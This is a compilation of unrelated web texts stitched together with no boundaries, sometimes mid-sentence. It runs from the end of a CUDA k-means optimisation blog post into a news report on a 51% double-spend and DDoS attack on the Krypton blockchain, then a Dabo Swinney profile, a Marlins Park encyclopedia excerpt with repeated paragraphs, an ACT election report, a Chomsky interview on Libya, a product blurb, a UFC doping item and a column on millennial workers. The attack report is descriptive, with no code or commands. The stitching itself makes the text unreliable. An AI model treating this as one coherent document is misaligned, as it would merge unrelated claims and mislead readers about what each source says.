The approach I picked is a bit different. Essentially, I wanted to do more work in the same kernel. So my idea was the following: keep a shared memory segment in each thread block and for each cluster and each thread, check if the thread is assigned to the cluster and write the thread’s value into the shared memory segment if yes, otherwise write a zero in that place. Then do a simple reduction. Since we also need the count of assigned points per cluster, we can also map values to zeros and ones and reduce over those in the same sweep to get the cluster counts. This approach has both very high shared memory utilization and overall occupancy (we’re doing lots of work in each block and in many blocks). Here is the code for the “fine”, per-block reduction (it’s quite a lot):
__global__ void fine_reduce ( const float * __restrict__ data_x, const float * __restrict__ data_y, int data_size, const float * __restrict__ means_x, const float * __restrict__ means_y, float * __restrict__ new_sums_x, float * __restrict__ new_sums_y, int k, int * __restrict__ counts ) { // Essentially three dimensional: n * x, n * y, n * counts. extern __shared__ float shared_data []; const int local_index = threadIdx. x ; const int global_index = blockIdx. x * blockDim. x + threadIdx. x ; if ( global_index >= data_size ) return ; // Load the mean values into shared memory. if ( local_index < k ) { shared_data [ local_index ] = means_x [ local_index ]; shared_data [ k + local_index ] = means_y [ local_index ]; } __syncthreads (); // Assignment step. // Load once here. const float x_value = data_x [ global_index ]; const float y_value = data_y [ global_index ]; float best_distance = FLT_MAX ; int best_cluster = - 1 ; for ( int cluster = 0 ; cluster < k ; ++ cluster ) { const float distance = squared_l2_distance ( x_value, y_value, shared_data [ cluster ], shared_data [ k + cluster ]); if ( distance < best_distance ) { best_distance = distance ; best_cluster = cluster ; } } __syncthreads (); // Reduction step. const int x = local_index ; const int y = local_index + blockDim. x ; const int count = local_index + blockDim. x + blockDim. x ; for ( int cluster = 0 ; cluster < k ; ++ cluster ) { // Zeros if this point (thread) is not assigned to the cluster, else the // values of the point. shared_data [ x ] = ( best_cluster == cluster )? x_value : 0 ; shared_data [ y ] = ( best_cluster == cluster )? y_value : 0 ; shared_data [ count ] = ( best_cluster == cluster )? 1 : 0 ; __syncthreads (); // Tree-reduction for this cluster. for ( int stride = blockDim. x / 2 ; stride > 0 ; stride /= 2 ) { if ( local_index < stride ) { shared_data [ x ] += shared_data [ x + stride ]; shared_data [ y ] += shared_data [ y + stride ]; shared_data [ count ] += shared_data [ count + stride ]; } __syncthreads (); } // Now shared_data[0] holds the sum for x. if ( local_index == 0 ) { const int cluster_index = blockIdx. x * k + cluster ; new_sums_x [ cluster_index ] = shared_data [ x ]; new_sums_y [ cluster_index ] = shared_data [ y ]; counts [ cluster_index ] = shared_data [ count ]; } __syncthreads (); } }
Note that we perform the assignment and block-wise reduction in the same kernel. Then, we do a coarse reduction to sum the block-wise values into a final, single value:
__global__ void coarse_reduce ( float * __restrict__ means_x, float * __restrict__ means_y, float * __restrict__ new_sum_x, float * __restrict__ new_sum_y, int k, int * __restrict__ counts ) { extern __shared__ float shared_data []; const int index = threadIdx. x ; const int y_offset = blockDim. x ; // Load into shared memory for more efficient reduction. shared_data [ index ] = new_sum_x [ index ]; shared_data [ y_offset + index ] = new_sum_y [ index ]; __syncthreads (); for ( int stride = blockDim. x / 2 ; stride >= k ; stride /= 2 ) { if ( index < stride ) { shared_data [ index ] += shared_data [ index + stride ]; shared_data [ y_offset + index ] += shared_data [ y_offset + index + stride ]; } __syncthreads (); } // The first k threads can recompute their clusters' means now. if ( index < k ) { const int count = max ( 1, counts [ index ]); means_x [ index ] = new_sum_x [ index ] / count ; means_y [ index ] = new_sum_y [ index ] / count ; new_sum_y [ index ] = 0 ; new_sum_x [ index ] = 0 ; counts [ index ] = 0 ; } }
Recall that in the fine reduction step, each block produces one sum per cluster. As such, you can visualize the input to the coarse reduction like this:
The goal is to combine all these values into $k$ sums, by summing up the individual, block-wise cluster sums (i.e. have one sum for each $k_i$). To do so, we simply stop the reduction at stride $k$, as you can see in the code above. Easy.
The last step is to launch the kernels of course:
// * 3 for x, y and counts. const int fine_shared_memory = 3 * threads * sizeof ( float ); // * 2 for x and y. Will have k * blocks threads for the coarse reduction. const int coarse_shared_memory = 2 * k * blocks * sizeof ( float ); //... for ( size_t iteration = 0 ; iteration < number_of_iterations ; ++ iteration ) { fine_reduce <<< blocks, threads, fine_shared_memory >>> ( d_data. x, d_data. y, d_data. size, d_means. x, d_means. y, d_sums. x, d_sums. y, k, d_counts ); cudaDeviceSynchronize (); coarse_reduce <<< 1, k * blocks, coarse_shared_memory >>> ( d_means. x, d_means. y, d_sums. x, d_sums. y, k, d_counts ); cudaDeviceSynchronize (); }
With all this effort and algorithmic stuff, we’d hope to have some gains from this, right? (Or if not, we’d call it a commendable scientific effort). Let’s see:
Implementation $n = 100$ $n = 100\,000$ Our Python 0.01432s 7.42498s Our C++ 0.00054s 0.26804s Our C++ (Eigen) 0.00055s 0.56903s Our CUDA 0.00956s 0.0752s Our CUDA (2) 0.00878s 0.0611s Our CUDA (3) 0.00822s 0.0171s scikit-learn 0.00137s 1.22683s scipy 0.01474s 1.54127s
Boom, that’s fast! Our CUDA implementation is around 72 times faster than scikit-learn and 90 times faster than scipy (for large data). That’s pretty neat. It’s also nearly 16 times faster than plain C++.
Conclusion
So is this the best we can do? Definitely not. I imagine someone with more GPU programming experience could get even more out of it. nvprof does give me pretty good specs, but I’m certain that the right intrinsics and loop unrolling tricks sprinkled around could speed up the implementation even more. If you have any ideas, let me know! I’ve published all my code in this repository.
In conclusion, I have to say that GPU programming with CUDA is a lot of fun. I’ve realized that dealing with such highly parallel code and hundreds of thousands of threads requires a whole new set of techniques. Even simple reductions like the ones we used here have to be approached completely differently than on serial CPUs. But getting speedups like the ones we saw is definitely amazing. I feel like I’ve gained a much greater appreciation for the algorithms that make my neural networks run 10x faster on a single GPU than even on a 32-core CPU. But there’s so much more to explore in this space. Apparently convolutions are supposed to be pretty fast on GPUs?Krypton, an Ethereum-based blockchain, recovered from a novel version of a 51% attack which appears to be the first of its kind.
The exploit includes a two pronged attack: first prong was, overpowering the network with at least 51% of the hashing power to roll back transactions and spend the same coins twice, and the second prong was DDoS-ing nodes to multiply network power. This exploit should be understood by all smaller coins to prevent copycat attacks.
The attackers managed to steal around 21,465 KR from Bittrex by double spending on the network. The attackers did this by sending KR to Bittrex, sold them for bitcoin and then rolled back the blockchain to reverse the transaction. Supernova mining pool and Krypton stats servers were also DDoS attacked to give the malicious miners an edge over the network.
The miners rented extra hashing power from Nicehash and used 4miners pool to conduct the attack. KR deposits and withdrawals are frozen on Bittrex and Yobit, pending confirmation that all work arounds have been successfully implemented.
Low Hashing Ethereum Based Coins at Risk
This attack may be a “dry run” intended as proof of concept before targeting other Ethereum based blockchains. Shift, another Ethereum type coin, was also targeted by a similar 51% attack last week.
Ethereum based blockchains are being targeted predominantly because they’re easy to fork and manipulate offline, while being used in conjunction with DDoS attacks.
It is suspected that the attackers may be using these lower cap coins as a testnet before targeting Ethereum Classic. This attack may be more difficult to scale up because of ETC’s larger aggregated hashing power.
Solutions
The Krypton and Shift core development teams have been working to resolve the problem. Krypton has resolved the issue of lost funds due to the attack and suggested to Bittrex to increase KR withdrawal times to 1000 confirmations, to mitigate the risk of rolling back the network for another double spend. Deposits and withdrawals are expected to be re-enabled upon implementation of the above noted workarounds.
The Krypton community also stepped in to purchase additional hashing power and spread it across multiple pools. Bittrex also upgraded their Krypton client code to fix a caching bug with the new KR block explorer.
Potentially affected blockchains may consider merging POS with POW, because doing so may require the attackers to own coins prior to mounting their attack, thus increasing the barriers to a 51% attack. Node operators should be mindful of behaviour suggesting a DDoS as a signal that a 51% attack may be attempted.He eases his truck into the garage, and sometimes his eyes can’t help but find the sign on the wall. There it is, white letters on a green background, hanging not far from the box of property files and business plans, and for some reason it never felt right dumping any of it in the trash.
CALL DABO SWINNEY, the sign reads, still an attention-grabber after all these years, but now its purpose is to remind Clemson’s football coach of the two years he left his profession, before an extraordinary collision of positioning and fate changed his life and the Tigers’ football program.
“It seems like forever ago,” says Swinney, who a dozen years ago was the finest shopping center leasing agent in Alabama. “But it seems like yesterday, too.”
In what occasionally feels like a different life, Swinney is in his seventh full season at Clemson — paid about $3.3 million annually, seen at age 45 as one of the game’s most talented and magnetic young coaches, in charge of a program that, when the College Football Playoff committee unveiled its initial top 25 this week, came in at No. 1.
[Clemson, LSU, Ohio State and Alabama are top four in rankings]
“You’re looking at a coach that has nothing to lose,” Swinney said in November |
train station on game days only. [59] [89]
The stadium is surrounded by four main parking garages along with six other lots, with a combined capacity of about 5,600 vehicles. The garages extend the contemporary design of the park with walls of pastel, Miami-Deco tiles. Garages are conveniently color-coded with pennant banners to match their corresponding color quadrants of the stadium: blue for home plate, yellow for first base, red for third base, and green for center field. In addition to the main commemorative marker, three mosaic panels from the old Orange Bowl hang on the facade of the southwestern garage, and a few of the old bowl's plastic seats punctuate a small plaza in front of the parking structure, as a nod to the past. As final public art project, large-scale bit-map paintings of children peering through a ballpark chain-link fence are being installed on the garages. Parking tickets are pre-purchased like seating tickets, raising the probability that parking spaces could be sold out even before game day. Due to the limited public transportation at Marlins Park, free trolleys shuttle fans to and from the downtown Miami civic center or a nearby train station on game days only. Entrance/West Plaza paving: Pathways paved on the west entrance plaza of the stadium are created by Venezuelan-born and Parisian-based kinetic-op artist Carlos Cruz-Diez. It's entitled Chromatic Induction in a Double Frequency and uses 1-inch tiles to form a rhythmic pattern that perceptibly changes for visitors as they walk on it and at times almost seems to vibrate. [59]
Pathways paved on the west entrance plaza of the stadium are created by Venezuelan-born and Parisian-based kinetic-op artist Carlos Cruz-Diez. It's entitled and uses 1-inch tiles to form a rhythmic pattern that perceptibly changes for visitors as they walk on it and at times almost seems to vibrate. Column illumination: Daniel Arsham and Snarkitecture were also selected for the lighting of the four super columns which support the retractable roof. The lighting is designed to give the illusion of the columns being concealed and revealed through programmable LEDs that fade up and down the columns in subtly shifting patterns, evoking the rhythm of a human breath. [90]
Daniel Arsham and Snarkitecture were also selected for the lighting of the four super columns which support the retractable roof. The lighting is designed to give the illusion of the columns being concealed and revealed through programmable LEDs that fade up and down the columns in subtly shifting patterns, evoking the rhythm of a human breath. Modern and contemporary artist replicas: A large, ceramic-tile reproduction of a Joan Miró mural (1930s) is on a promenade wall behind home plate. A reprint of pop culture artist Roy Lichtenstein's painting of "The Manager" (1962) is displayed near the main concourse. A nearly 40-foot reprint of Kenny Scharf's mixed media work "Play Ball!" (2011) is in a corner behind the team store. [60]
A large, ceramic-tile reproduction of a Joan Miró mural (1930s) is on a promenade wall behind home plate. A reprint of pop culture artist Roy Lichtenstein's painting of "The Manager" (1962) is displayed near the main concourse. A nearly 40-foot reprint of Kenny Scharf's mixed media work "Play Ball!" (2011) is in a corner behind the team store. Sports & The Arts graphics: In addition to other artwork, California-based consultant "Sports & The Arts" was retained to curate the photography and wall and column graphics components. Nearly 500 pieces of photography and over 15,000 square feet of wall and column treatments were planned.
A side view of the home run structure at Marlins Park
One of the columns at Marlins Park that supports the roof when the roof is opened
Baseball in Motion by Dominic Pangborn
History [ edit ]
2012 [ edit ]
Marlins Park hosted a trio of soft openings prior to Spring training. The first baseball game took place on March 5, 2012, with a high school baseball game between Christopher Columbus High School and Belen Jesuit Preparatory School. The Marlins played an exhibition game on March 6 against the Miami Hurricanes (defeating the Canes 7-6) and on March 7 against the FIU Golden Panthers (defeating the Panthers 5-1).[91] The Marlins then hosted two spring training exhibition games at the new ballpark against the New York Yankees on April 1 and 2, 2012.[92]
Before a sellout crowd of 36,601, the Marlins played their first regular season game on April 4, 2012, against the St. Louis Cardinals (losing to the Cards, 4-1). The inaugural game was nationally televised on ESPN. As part of the Opening Night fanfare, players were announced onto the field while escorted by scantily-clad Brazilian dancers in full headdress. Muhammad Ali threw out the ceremonial first pitch after he was carted out to the field alongside Jeffrey Loria.[93]
In 2011, the Marlins attendance had ranked 28th in majors during their final year at Sun Life Stadium. With a brand new ballpark, hiring manager Ozzie Guillén, and the team's payroll expansion to over $100 million (a club record resulting from the signings of free agents José Reyes, Mark Buehrle and Heath Bell, as well as the trade acquisitions of Carlos Zambrano and later Carlos Lee), Marlins officials expected attendance to skyrocket.
"With the team we are putting together, we expect there to be very few empty seats at this ballpark ever," David Samson told reporters. "We have always told ourselves build it small and sell it out, and that's what we're going to do."
The Marlins went on to finish the ballpark's inaugural season 18th in MLB attendance, averaging 27,400 per home game. The increase was a significant improvement, but far short of expectations. In fact, Marlins Park had the smallest first-year attendance of the 11 ballparks that had opened between 2001 and 2012.[94] The disappointing figures are largely attributed to the team's poor play on the field, as they finished in last place (69-93) in the NL East Division. Other cited explanations as to why some fans stayed away include opposition to the stadium's Little Havana location, and resentment over the use of public money to build it.[95]
Marlins Park on the team's final workout day prior to Opening Night. The nationally televised game was filled with fanfare and people, but was also the only sellout produced by the stadium in 2012.
As the team underperformed both on the scoreboard and at the box office in their new ballpark, the Marlins traded away the face of the franchise, Hanley Ramírez, and 4 other veterans with contracts (Aníbal Sánchez, Omar Infante, Randy Choate, and Edward Mujica) in exchange for lower-salaried prospects in midseason 2012. The moves caused more tension with fans and made headlines around baseball that the Marlins had begun the third fire sale in team history—except this time it followed the opening of a new stadium instead of a World Series championship.[96][97] But Marlins' President of Baseball Operations Larry Beinfest insisted that trades were not signaling a "fire sale" or a "white flag," despite the sudden drop in payroll. "We understand there's skepticism here," he said. "Yes, we have our history [of fire sales], but that's not what's going on here. This was about the current mix wasn't winning, so let's try something else."[98][99]
Fan fears of a fire sale in progress appeared to be confirmed during the offseason following the park's opening season as the front office proceeded to turn over much of the roster (including all recent free-agent signings) while massively unloading payroll. Manager Guillén was fired, in part for comments he made before the season about his admiring Fidel Castro's ability to stay in power.[100] Heath Bell was dealt away a week earlier for a minor leaguer.[101] Then, in a bombshell 12-player trade announced during baseball owners meetings in November 2012, the Marlins sent Reyes, Buehrle, ace pitcher Josh Johnson, Emilio Bonifacio, John Buck, and cash considerations to the Toronto Blue Jays in exchange for Yunel Escobar, Jeff Mathis, and 5 prospects. (Escobar was then re-traded for a prospect a month later.) Overall, the Marlins jettisoned more money in contract commitments via trades during the second half of 2012 ($225 million) then they had added in the free agency signings meant to usher in the new stadium era during the previous offseason ($191 million). Team payroll for the stadium's second opening day in 2013 was projected to be one of the lowest payrolls in baseball once again.[102]
After years of the pretense that a taxpayer-funded ballpark would finally solve the franchise's cycles of fire sales and low payrolls, the ownership's apparent return to the same policies merely months after construction completed sparked outrage from many Marlins fans. Irate fans and a few players vented anger—some tying stadium deal with the trades—on talk radio and social media, with most criticism directed at either Bud Selig, or Samson and Loria. "We finished in last place. Figure it out... We have to take a new course", a defiant Loria said to one reporter when asked about a fire sale. He dismissed another group of reporters, saying: "Not today boys. If you guys haven't figured it out yet, I'm not going to figure it out for you."[18][103][104][105]
In retrospect, the team's brief honeymoon in their new home made this preseason quip from then manager Guillén sound foreboding: "It's like having a beautiful house and your marriage stinks. We have a beautiful house here, but if the people who live in it are not good, you're not going to have fun."[106]
In a radio interview, Samson sought to put the smaller payroll in perspective with Marlins Park. "It's a great ballpark and now we need a great team to go with it and we thought we had it last year and the evidence was overwhelming that we didn't", he said. When asked if he and Loria had pulled off a "Ponzi scheme" by fleecing the public in the stadium deal and selling them back a "sham" a year later, Samson replied that the stadium is accomplishing its main purpose of keeping pro baseball in Miami. He drew comparisons to their former ownership of the (now relocated) Montreal Expos and Olympic Stadium:
The difference in Montreal, there was no ballpark, there was no future. There is a long term future for baseball in Miami. That's what the ballpark has always been about was making sure an All Star game can come to Miami, making sure that generations will see baseball... [What matters] at the end of the day is not the payroll.
Samson also said, "let's not forget how much money Jeffrey Loria himself put in—over $160 million of his money to get a ballpark built, which has been a very positive thing and will continue to be long after all of us are gone." The stadium contract only required the Marlins pay $125.2 million out of pocket during the early years of the project. Samson was including in his figure the interest-free, $35 million loan that the Marlins will repay to the county by the year 2028.[107]
"Baseball is our core product -- it's perfect for baseball -- but as you can see tonight, soccer fits well", said Sean Flynn, senior vice president of marketing and events at Marlins Park.[108] During the stadium's negotiations, the plans included a 20,000 to 25,000-seater soccer-specific stadium to be built directly adjacent to the baseball stadium for a possible Major League Soccer expansion team. The expansion bid fell through in 2008, and MLS has since moved away from building next to Marlins Park, with a preference for a downtown location.[109]
Marlins Park hosted Pool 2 during the second round of the 2013 World Baseball Classic on March 12–16, 2013.[110]
The Marlins and their fans experienced the first rain delay at Marlins Park on April 6, 2015. Playing the Atlanta Braves in front of a sold-out Opening Day audience, a shower moved over the stadium with the roof open. The bottom of the 2nd inning was interrupted for 16 minutes while the roof was closed; the field, however, was sufficiently wet to cause players to slip several times during the remainder of the game, a 2-1 Braves victory.[111]
On June 20, 2016, Marlins Park saw the most-ever home runs hit in one game at the park, with 8 homers in a 5-3 win by the Colorado Rockies over the Marlins. The 8 home runs also set a Major League record for solo home runs accounting for all the scoring in a game, surpassing the previous record of 5.[112][113]
From March 9 to 13, 2017, Marlins Park hosted Pool C in the four-pool, first round of the 2017 World Baseball Classic.
Non-baseball events [ edit ]
The Miami Beach Bowl college football bowl game was played at Marlins Park every December from 2014 through 2016. The bowl was moved to Frisco, Texas for 2017 and is now known as the Frisco Bowl.
Soccer [ edit ]
The stadium hosted its first non-baseball event when Venezuela and Nigeria national teams played a match on November 14, 2012. The field was configured for soccer by covering the infield dirt, placing one goal near the Marlins' dugout on the third-base side and the other in front of the visitors' bullpen in right field.
In January 2013, Marlins Park began hosting the Miami Soccer Challenge as part of a 3-year partnership with Global Football Challenge.[114]
International soccer matches [ edit ]
Date Winning Team Result Losing Team Tournament Spectators November 14, 2012 Nigeria 3–1 Venezuela Friendly 13,372
Concerts [ edit ]
Other events [ edit ]
The stadium was scheduled to host the 22nd annual World Music Awards on December 22, 2012, but the event was cancelled due to logistical and multiple visa issues, as well as the stated intent to observe the national mourning of the Sandy Hook Elementary School shooting.[116]
On April 20, 2013, the park hosted "America's Night of Hope" with Joel and Victoria Osteen, an annual stadium event for Joel Osteen Ministries.
On January 21–22, 2017, it hosted the Race of Champions, an all-star racecar competition.
On February 17–18, 2018, Marlins Park hosted its first ever Monster Jam event, after several years of it being held at Hard Rock Stadium. Monster Jam will return for the second time on February 16-17, 2019.
Ballpark firsts [ edit ]
Notable and technical firsts [ edit ]
Construction gallery [ edit ]
The super-columns are all nearly complete, with one crossbeam already in place, which will support the retractable roof, February 6, 2010
The site on July 2, 2010. The interior bowl is being completed on the west side, from a view at the outfield
The site on November 6, 2010. The main center roof being constructed
February 15, 2011
Adjacent parking structure on February 15, 2011
The site two weeks before completion of the final roof panel on March 13, 2011
The site on August 13, 2011, as seen from the Dolphin Expressway (SR 836) traveling east
Construction on August 25, 2011
Comparison to Hard Rock Stadium [ edit ]
Characteristic Hard Rock Stadium* Marlins Park Opening Day April 5, 1993 April 4, 2012 Baseball capacity 38,560** (67,000 approx. total) 36,742[2] Lower Bowl Seats 21,000 22,000 (approximate) Legends Level Seats 10,000 5,000 (approximate) Vista Level Seats 37,500 10,000 (approximate) Outfield Seats 22,000 4,700 (approximate) Standing Room 0 1,000 (approximate) Luxury Suites 240 suites (88 during MLB configuration); 1 mega-suite 50 suites (including 2 mega-suites) Project site area 160 acres (65 ha) (stadium); 280 acres (110 ha) total area*** 21 acres (8.5 ha) Retractable roof No (open air) Yes Climate controlled No (outdoors) Yes Average game time temperature 85 °F (29 °C) 75 °F (24 °C) Surface Grass Alignment (home to second) East Southeast Marlins dugout First Base Side Third Base Side Backstop 58 feet (17.68 m) 47 feet (14.33 m) Left Field 330 feet (100.6 m) 344 feet (104.9 m) Left Center 361 feet (110.0 m) 386 feet (117.7 m) Center Field 404 feet (123.1 m) 407 feet (124.1 m) Right Center 375 feet (114.3 m) 392 feet (119.5 m) Right Field 345 feet (105.2 m) 335 feet (102.1 m) Source: Miami Marlins
*Controlled by Dolphins **As of 2008; Expandable to more than 67,000 during MLB playoffs. ***Includes parking lot and surrounding
See also [ edit ]Labor returned to power in ACT
Updated
Sorry, this video has expired Video: Labor returns to power (7pm TV News ACT)
Labor has been returned to power in the ACT after sole Greens MLA Shane Rattenbury decided to back the party for a fourth term.
Labor and the Canberra Liberals have eight seats each in the new Legislative Assembly, leaving Mr Rattenbury holding the balance of power.
Both parties have spent the week negotiating with Mr Rattenbury in a bid to secure his support.
The Greens supported Labor in minority government over the past four years.
Mr Rattenbury has now signed another parliamentary agreement with Labor returning Katy Gallagher as chief minister.
Under the deal Mr Rattenbury will be appointed a minister.
The agreement also includes nearly 100 policies, initiatives and reforms to be implemented over the next four years.
The major policies include progressing a light rail network in Canberra, cleaning up Canberra's lakes, meeting the ACT's climate change targets, implementing the Gonski education reforms and reducing homelessness through the Common Ground project.
Mr Rattenbury says he did have constructive conversations with the Canberra Liberals.
"The Canberra Liberals put forward some interesting ideas on policy. However, particularly on the big ticket items, Katy Gallagher outlined a more substantial agenda," he said.
"A closer policy alignment will result in a more productive and stable government for the ACT, another important consideration in my deliberations.
"I also believe it would be irresponsible to form government with a party that is committed to unpicking progressive tax reforms. These reforms will put the ACT on a solid financial footing for the next two decades and it's fiscally irresponsible of the Liberal Party to ignore this."
Mr Rattenbury says he will support the Liberal Party to elect a Liberal Speaker to the Legislative Assembly.
"My deliberations this week have been all about what is the best for all Canberrans and not for those people who simply voted Green and not even for those people who voted Labor or Liberal, but about what is the best for the future of this city," he said.
"My decision about who to form government with was based on good policy and the capacity to deliver stable government in the ACT over the next four years."
Sorry, this video has expired Video: Shane Rattenbury backs Labor (ABC News)
'Stable government'
Chief Minister Katy Gallagher has thanked Mr Rattenbury for his support.
She says the new arrangement will ensure good stable government.
"I commit myself wholeheartedly to serving the Canberra community to the best of my ability," she said.
"Now comes the time to knuckle down and make the people's verdict work."
Ms Gallagher says she is going to move to have six ministers in the Assembly.
"I've taken some advice on how to do that, you do have to amend legislation so there is process that we need to go through that will allow us to have another minister appointed down the track," she said.
"But in the meantime Mr Rattenbury will be joining the Cabinet."
She says she is committed to implementing her party's vision for Canberra.
"It's an optimistic and ambitious agenda but at its core is a desire to set this city free of some of the constraints of the past and to allow us to fulfil our destiny as a city state less depended on the Commonwealth," she said.
"It's a vision that will see us cement ourselves as the natural economic and service hub of the region."
Ms Gallagher says Labor is listening to voters and hopes to work more cooperatively with the Liberals.
"My hope out of all of this is that we don't disintegrate into an us versus them. That we are able to work more collaboratively and share ideas and genuinely implement them if they're going to be in the long term interests of the city," she said.
Sorry, this video has expired Video: Katy Gallagher on returning to power (ABC News)
'Very disappointed'
Canberra Liberals Leader Zed Seselja says the party is very disappointed.
"We were hoping to form a government, that will not be the case," he said.
"The Liberal party is disappointed, I'm disappointed, and there will be many tens of thousands of Canberrans who are also disappointed."
Mr Seselja says another four years of a Labor government will not be good for the Territory.
"I don't believe that our health system will be fixed, I don't believe that people's cost of living will be addressed and I don't believe local services will be fixed in the way that they should," he said.
He says he does not think his refusal to offer Mr Rattenbury a ministry affected the outcome.
"Shane Rattenbury is part of the government," he said.
"I made the point on election night that that people didn't exactly embrace at this election the Labor-Greens coalition and that I thought it would be a mistake for them to respond by going into a closer coalition.
"That's what they've chosen to do, that is their choice, but obviously they are now part of the government."
The Canberra Liberals received 41 more first-preference votes than Labor at the October 20 poll.
"This will be the first time in the Territory's history that the party which received the most votes from the electorate doesn't have the opportunity to form government," Mr Seselja said.
"To those people in Canberra who did want to see a change in government, I would say don't be disheartened.
"We will continue to work to serve you. We are a strong team, the biggest Liberal team ever to serve in the ACT Legislative Assembly."
Topics: alp, elections, greens, act, canberra-2600
First postedStrikes will ‘antagonise’ many in Arab world, says Chomsky
Noam Chomsky interviewed by Saundra Satterlee
The Irish Times, March 21, 2011
Military intervention in Libya is a serious mistake, activist Noam Chomsky tells SAUNDRA SATTERLEE
NOAM CHOMSKY wrote about the Spanish Civil War at the age of 10 for his school newspaper, was briefly jailed with Norman Mailer in 1967 for an anti-Vietnam protest at the Pentagon, and last May was detained by the Israelis when he tried to enter the West Bank via Jordan.
A world-renowned scholar and retired professor of linguistics at Massachusetts Institute of Technology, he remains, at age 82, a robust political activist and a stinging critic of US foreign policy.
Chomsky warns that direct military intervention in Libya will turn out to be a serious mistake.
“When the United States, Britain and France opt for military intervention, we have to bear in mind that these countries are hated in the region for very good reasons. The rich and powerful can say history is bunk but victims don’t have that luxury,” he says.
“Threatening moves, I’m sure, evoke all sorts of terrible thoughts and memories in the region Ð and many people across Africa and the Arab world will be seriously antagonised by military intervention.”
Chomsky adds that in Egypt public opinion polls have shown about 90 per cent of the population thinks the US is the worst threat they face.
He stresses that Libya is a humanitarian problem. “It is also a civil war and intervening in a civil war is a complicated business,” he says. “We may not like it, but there is support for Gadafy.”
On the subject of Palestine, recent events in North Africa do not bode well if a reported request by the Israeli government for $20 billion from the US Ð as a force for stability in the region Ð is anything to go by.
“This would, predictably, be used to establish more firmly Israel’s control over what is left of Palestine and maintain Israel’s capacity to carry out aggressive actions. It doesn’t mean that Israel will succeed in obtaining these funds from the US but the intent is clear,” says Chomsky.
He envisages a repositioning of US power across North Africa, especially in Egypt.
He believes the Wall Street Journal accurately observed that the West Ð the US in particular Ð now has a problem.
“It hasn’t yet figured out how to control the new rising elements; the assumption is of course that we have to control them,” he says.
On shifts in western alliances with authoritarian regimes, Chomsky says that in a long series of cases it became impossible for the West to support its favourite dictators.
“At that point there’s a game plan that goes into operation. It’s being followed in the Arab world, basically to send dictators out to pasture when you can’t support them any longer and produce ringing declarations of your love of democracy,” he says.
Saudi Arabia provides an example of the contradiction in western policy, he says.
“Saudi Arabia is the centre of radical Islamism. It has also been the major ally of the United States and Britain, which have tended over the years to support radical Islam in opposition to secular nationalism. Saudi Arabia is a pretty harsh dictatorship. Prior to the recent Day of Rage the government made it clear that it would not be tolerated Ð and it wasn’t.”
Further to this, we have seen Saudi troops dispatched into Bahrain with grim consequences.
US secretary of state Hillary Clinton, EU foreign affairs chief Catherine Ashton and British foreign secretary William Hague met in Geneva on February 28th to promote the case for the prosecution of Gadafy by the International Criminal Court (ICC).
“One question is whether that would interfere with a preferable option, namely getting Gadafy out of the country.
“Furthermore, as far as the ICC is concerned, we cannot overlook the fact that for most of the world it is regarded as a symbol of western hypocrisy,” he says.
He wonders why George Bush and Tony Blair were not taken to the ICC for invading Iraq.
“This is the rich and powerful exempting themselves. And that doesn’t mean that the ICC is worthless, but it certainly undermines its claim of integrity,” he says.
On the subject of oil and current events across North Africa and the Middle East, Chomsky says: “The overriding concern for control over oil has dominated British policy for a century and US policy for almost that long. Of course that will remain.”Update your all-weather wardrobe with this Double-Breasted Trench Coat. This classic trench coat features a pointed collar, a double-breasted front with contrasting buttons, adjustable sleeve tabs and an adjustable belt for a perfect fit.
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Following his UFC 174 main event fight against Demetrius Johnson back in June, Bagautinov was one of eight fighters who was subjected to a random drug test by the British Columbia Athletic Commission. He came up dirty and has been suspended from competing in British Columbia for a year.
According to a statement released by the commission on Thursday:
“Mr. Ali Bagautinov – one of the two flyweight title fighters was tested out of competition on June 2, 2014. Results received by this office from the June 2 tests on Mr. Bagautinov were positive for erythropoietin, or EPO, a substance banned by the World Anti-Doping Agency. These results were not available prior to the UFC 174 event due to lab processing times. “Mr. Bagautinov lost his bid for the flyweight title to Demetrious Johnson. I have suspended Mr. Bagautinov’s licence to compete in British Columbia for a period of one year.”
Kevin Iole of Yahoo! Sports says a statement from UFC President Dana White is forthcoming.One of my friends manages a research center at a college that’s well-known for drawing very bright students.
She’s a die-hard Democrat, but she confided once to me that when it’s time to hire student workers, she swings Republican.
“I'll look at the job candidates' resumes, and if I can see that one of them's a girl who’s been, say, a part of the college Republican group, I give her a few extra points,” she admitted.
She explained that such a worker tends to bring a couple of advantages to the office. First, women often seem more mature than their male counterparts at that age. Second, for some reason, these active GOPers seem to have a level of conscientiousness and follow-through that she finds somewhat lacking on the part of young adults who are on her own side of the political aisle.
“They’re not as likely to call and say that they’ve decided to stay home to study for a mid-term exam,” she told me. “They’re less likely to run off to Vegas for an extended birthday celebration. They’re more likely to take their responsibilities seriously--and less likely to ditch them without any sense of guilt.”
The Elephant in the Room?
Granted, this is purely anecdotal. Yet I hear a ring of truth there. Consider a recent piece in TIME magazine that suggested a link between how you act and how you vote:
Research by Sam Gosling, at the University of Texas, has found that liberals generally score higher than conservatives on the trait of “openness to experience” … Conservatives are more likely to stick with what is familiar, what is tried and true. Hence, they are more likely to use a PC than a Mac and are more likely to stick with that PC’s default browser, Internet Explorer. Conservatives score higher than liberals on the trait of conscientiousness. They are more organized (neat desks), punctual, and self-controlled (rather than emphasizing self-expression).
That brings up the elephant that’s, well, actually not in the room: Most millennials aren’t female Republicans who rigidly stick to a schedule in a way that older managers and co-workers appreciate. And most millennials do seem to have a reputation among others for being overly casual about their jobs and careers. Is it possible that they have such a casual tendency at exactly the wrong time—such as in our own swampy and unstable economic moment?
Ron Brownstein, in the National Journal, writes:
On Tuesday, Young Invincibles, a group that advocates for young adults, issued a bracing report that noted the unemployment rate for millennials (which it defined as workers 18-34) has remained stuck in double-digits for 70 consecutive months. Georgetown University's Center on Education and the Workforce has likewise found young workers today losing ground compared with previous generations in wages, workforce participation, and net worth, with the losses deepest for younger men. Add in mounting student debt, as well as delays in family formation and homeownership, and phrases like "lost generation" don't seem excessive.
Shara Senderoff and Jamie Gutfreund, savvy analysts of the dynamics of millennials in the workplace, opened my eyes to how older generations can learn how to understand, appreciate and motivate millennials. I wrote here and here about their findings and insights, which I find to be both hopeful and helpful.
And in a similar vein, veteran tech journalist David Spark has offered numerous insights into how to recruit millennial employees.
On the Other Hand...
At the same time, other workplace experts and managers speak to me in more cautious terms about how many millennials aren’t putting themselves in a position to succeed.
My colleague Erin Robbins O’Brien regularly hires and manages millennials in her role as COO of Ginzametrics, a leading hi-tech SEO and content platform based in the heart of San Francisco.
